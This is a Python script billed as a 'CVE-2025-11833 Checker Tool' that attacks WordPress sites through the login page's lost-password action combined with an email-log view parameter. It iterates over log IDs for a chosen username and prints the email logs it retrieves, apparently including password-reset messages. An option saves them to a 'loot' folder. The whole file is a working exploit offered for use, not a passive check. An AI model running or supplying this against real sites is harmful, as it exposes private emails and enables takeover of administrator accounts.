import requests import argparse import os RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" RESET = "\033[0m" def get_args(): parser = argparse.ArgumentParser(description="CVE-2025-11833 Checker Tool") parser.add_argument("--url", required=True, help="WordPress site URL (e.g. http://localhost)") parser.add_argument("--username", required=True, help="Target username (e.g., admin)") parser.add_argument("--start", type=int, default=1, help="Starting log_id (default: 1)") parser.add_argument("--end", type=int, default=256, help="Ending log_id (default: 256)") parser.add_argument("--loot", action="store_true", help="Save found logs into loot/ folder") return parser.parse_args() def save_loot(log_id, content): os.makedirs("loot", exist_ok=True) path = f"loot/log_{log_id}.txt" with open(path, "w", encoding="utf-8") as f: f.write(content) print(f"{YELLOW} └── Saved → {path}{RESET}") def send_request(base_url, username, log_id): endpoint = f"{base_url}/wp-login.php?action=lostpassword&page=postman_email_log&view=log&log_id={log_id}" data = { "user_login": username, "redirect_to": "", "wp-submit": "Get New Password" } headers = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) return response except Exception as e: print(f"{RED}[!] Request error for log_id {log_id}: {e}{RESET}") return None def body_indicates_invalid_user(text: str) -> bool: text = text.lower() keywords = [ "no account", "invalid username", "unknown user", "user not found", "there is no account", "not registered" ] return any(k in text for k in keywords) def main(): args = get_args() base_url = args.url.rstrip("/") username = args.username start_id = args.start end_id = args.end loot_enabled = args.loot print(f"{BLUE}[*] Target URL : {base_url}{RESET}") print(f"{BLUE}[*] Username : {username}{RESET}") print(f"{BLUE}[*] Log ID Range : {start_id} → {end_id}{RESET}") print(f"{BLUE}[*] Loot Saving : {'ON' if loot_enabled else 'OFF'}{RESET}") print("-" * 60) for log_id in range(start_id, end_id + 1): response = send_request(base_url, username, log_id) if response is None: continue if body_indicates_invalid_user(response.text): print(f"\n{RED}[!] ERROR: Server indicates 'no account' or 'invalid username'!{RESET}") print(f"{RED}[!] The provided username is likely incorrect.{RESET}") print(f"{YELLOW}[!] Stopping scan to avoid wasting time.{RESET}\n") return # Abort scanning status_ok = response.status_code == 200 body_ok = len(response.text.strip()) > 0 if status_ok and body_ok: print(f"{GREEN}[✓] log_id {log_id} -> Log Found{RESET}") if loot_enabled: save_loot(log_id, response.text) else: print(f"{RED}[x] log_id {log_id} -> Log Not Found{RESET}") if __name__ == "__main__": main()